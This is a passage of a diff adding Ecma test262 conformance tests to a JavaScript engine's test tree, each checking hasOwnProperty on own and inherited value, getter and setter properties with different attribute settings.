+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_12.js
+ * @description Properties - [[HasOwnProperty]] (non-writable, non-configurable, non-enumerable inherited value property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {value: 42});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_13.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_13.js
new file mode 100644
index 000000000..a07ec849f
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_13.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_13.js
+ * @description Properties - [[HasOwnProperty]] (non-writable, non-configurable, enumerable inherited value property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {value: 42, enumerable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_14.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_14.js
new file mode 100644
index 000000000..923e64cb2
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_14.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_14.js
+ * @description Properties - [[HasOwnProperty]] (non-writable, configurable, non-enumerable inherited value property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {value: 42, configurable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_15.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_15.js
new file mode 100644
index 000000000..9cfa1640b
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_15.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_15.js
+ * @description Properties - [[HasOwnProperty]] (writable, non-configurable, non-enumerable inherited value property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {value: 42, writable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_16.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_16.js
new file mode 100644
index 000000000..1115e6ee5
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_16.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_16.js
+ * @description Properties - [[HasOwnProperty]] (non-writable, configurable, enumerable inherited value property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {value: 42, configurable:true, enumerable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_17.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_17.js
new file mode 100644
index 000000000..09bf0f6df
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_17.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_17.js
+ * @description Properties - [[HasOwnProperty]] (writable, non-configurable, enumerable inherited value property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {value: 42, writable:true, enumerable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_18.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_18.js
new file mode 100644
index 000000000..14c1f8c65
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_18.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_18.js
+ * @description Properties - [[HasOwnProperty]] (writable, configurable, non-enumerable inherited value property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {value: 42, writable:true, configurable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_19.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_19.js
new file mode 100644
index 000000000..ef0a55559
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_19.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_19.js
+ * @description Properties - [[HasOwnProperty]] (writable, configurable, enumerable inherited value property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {value: 42, writable:true, enumerable:true, configurable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_2.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_2.js
new file mode 100644
index 000000000..0314123aa
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_2.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_2.js
+ * @description Properties - [[HasOwnProperty]] (old style own property)
+ */
+
+function testcase() {
+
+ var o = {foo: 42};
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_20.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_20.js
new file mode 100644
index 000000000..a4cb6f5f2
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_20.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_20.js
+ * @description Properties - [[HasOwnProperty]] (literal own getter property)
+ */
+
+function testcase() {
+
+ var o = { get foo() { return 42;} };
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_21.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_21.js
new file mode 100644
index 000000000..e52f6e691
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_21.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_21.js
+ * @description Properties - [[HasOwnProperty]] (literal own setter property)
+ */
+
+function testcase() {
+
+ var o = { set foo(x) {;} };
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_22.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_22.js
new file mode 100644
index 000000000..c5a836d52
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_22.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_22.js
+ * @description Properties - [[HasOwnProperty]] (literal own getter/setter property)
+ */
+
+function testcase() {
+
+ var o = { get foo() { return 42;}, set foo(x) {;} };
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_23.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_23.js
new file mode 100644
index 000000000..9e2bc5cf1
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_23.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_23.js
+ * @description Properties - [[HasOwnProperty]] (literal inherited getter property)
+ */
+
+function testcase() {
+
+ var base = { get foo() { return 42;} };
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_24.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_24.js
new file mode 100644
index 000000000..2bc8e3264
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_24.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_24.js
+ * @description Properties - [[HasOwnProperty]] (literal inherited setter property)
+ */
+
+function testcase() {
+
+ var base = { set foo(x) {;} };
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_25.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_25.js
new file mode 100644
index 000000000..b735c28d0
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_25.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_25.js
+ * @description Properties - [[HasOwnProperty]] (literal inherited getter/setter property)
+ */
+
+function testcase() {
+
+ var base = { get foo() { return 42;}, set foo(x) {;} };
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_26.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_26.js
new file mode 100644
index 000000000..fb3555966
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_26.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_26.js
+ * @description Properties - [[HasOwnProperty]] (non-configurable, non-enumerable own getter property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {get: function() {return 42;}});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_27.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_27.js
new file mode 100644
index 000000000..ff95ff414
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_27.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_27.js
+ * @description Properties - [[HasOwnProperty]] (non-configurable, enumerable own getter property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {get: function() {return 42;}, enumerable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_28.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_28.js
new file mode 100644
index 000000000..5b177ded6
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_28.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_28.js
+ * @description Properties - [[HasOwnProperty]] (configurable, non-enumerable own getter property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {get: function() {return 42;}, configurable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_29.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_29.js
new file mode 100644
index 000000000..b9b2bd5ea
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_29.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_29.js
+ * @description Properties - [[HasOwnProperty]] (configurable, enumerable own getter property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {get: function() {return 42;}, enumerable:true, configurable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_3.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_3.js
new file mode 100644
index 000000000..742077a2b
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_3.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_3.js
+ * @description Properties - [[HasOwnProperty]] (old style inherited property)
+ */
+
+function testcase() {
+
+ var base = {foo:42};
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_30.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_30.js
new file mode 100644
index 000000000..db063f6f6
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_30.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_30.js
+ * @description Properties - [[HasOwnProperty]] (non-configurable, non-enumerable own setter property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {set: function() {;}});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_31.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_31.js
new file mode 100644
index 000000000..4555da40e
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_31.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_31.js
+ * @description Properties - [[HasOwnProperty]] (non-configurable, enumerable own setter property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {set: function() {;}, enumerable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_32.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_32.js
new file mode 100644
index 000000000..7fcff86a2
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_32.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_32.js
+ * @description Properties - [[HasOwnProperty]] (configurable, non-enumerable own setter property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {set: function() {;}, configurable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_33.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_33.js
new file mode 100644
index 000000000..fb0294127
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_33.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_33.js
+ * @description Properties - [[HasOwnProperty]] (configurable, enumerable own setter property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {set: function() {;}, enumerable:true, configurable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_34.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_34.js
new file mode 100644
index 000000000..e72c99496
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_34.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_34.js
+ * @description Properties - [[HasOwnProperty]] (non-configurable, non-enumerable own getter/setter property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {get: function() {return 42;}, set: function() {;}});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_35.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_35.js
new file mode 100644
index 000000000..7f56d79ae
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_35.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_35.js
+ * @description Properties - [[HasOwnProperty]] (non-configurable, enumerable own getter/setter property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {get: function() {return 42;}, set: function() {;}, enumerable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_36.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_36.js
new file mode 100644
index 000000000..5d6a1162b
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_36.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_36.js
+ * @description Properties - [[HasOwnProperty]] (configurable, non-enumerable own getter/setter property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {get: function() {return 42;}, set: function() {;}, configurable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_37.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_37.js
new file mode 100644
index 000000000..c58438ef7
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_37.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_37.js
+ * @description Properties - [[HasOwnProperty]] (configurable, enumerable own getter/setter property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {get: function() {return 42;}, set: function() {;}, enumerable:true, configurable:true});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_38.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_38.js
new file mode 100644
index 000000000..986059292
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_38.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_38.js
+ * @description Properties - [[HasOwnProperty]] (non-configurable, non-enumerable inherited getter property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {get: function() {return 42;}});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_39.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_39.js
new file mode 100644
index 000000000..2ec9acd72
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_39.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_39.js
+ * @description Properties - [[HasOwnProperty]] (non-configurable, enumerable inherited getter property)
+ */
+
+function testcase() {
+
+ var base = {};
+ Object.defineProperty(base, "foo", {get: function() {return 42;}, enumerable:true});
+ var o = Object.create(base);
+ return o.hasOwnProperty("foo")===false;
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_4.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_4.js
new file mode 100644
index 000000000..cb67d3f39
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_4.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_4.js
+ * @description Properties - [[HasOwnProperty]] (non-writable, non-configurable, non-enumerable own value property)
+ */
+
+function testcase() {
+
+ var o = {};
+ Object.defineProperty(o, "foo", {value: 42});
+ return o.hasOwnProperty("foo");
+
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_40.js b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_40.js
new file mode 100644
index 000000000..f0aad260e
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.12/8.12.1/8.12.1-1_40.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch08/8.12/8.12.1/8.12.1-1_40.js
+ * @description Properties - [[HasOwnProperty]] (configurable, non-enumerable inherited getter property)
+ */
+
+function testcase() {
+
